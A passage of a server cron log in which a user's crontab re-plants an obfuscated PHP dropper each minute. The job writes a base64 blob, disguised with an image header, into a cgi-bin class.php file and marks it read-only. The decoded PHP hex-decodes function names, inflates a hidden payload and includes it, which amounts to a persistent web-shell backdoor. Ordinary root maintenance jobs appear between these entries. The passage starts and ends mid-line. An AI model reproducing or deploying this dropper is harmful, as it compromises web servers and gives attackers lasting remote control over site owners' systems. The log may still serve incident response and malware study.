"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:14:01 server CROND[24865]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:15:01 server CROND[24913]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:15:01 server CROND[24914]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 11:15:01 server CROND[24915]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 11:16:01 server CROND[25162]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:17:01 server CROND[25217]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:18:01 server CROND[25281]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:19:01 server CROND[25331]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:20:01 server CROND[25382]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 11:20:01 server CROND[25383]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 11:20:01 server CROND[25381]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 11:20:01 server CROND[25385]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:20:01 server CROND[25384]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 11:21:01 server CROND[25596]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:22:01 server CROND[25646]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:23:01 server CROND[25695]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:24:01 server CROND[25748]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:25:01 server CROND[25803]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:25:01 server CROND[25804]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 11:25:01 server CROND[25805]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 11:26:01 server CROND[25908]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5t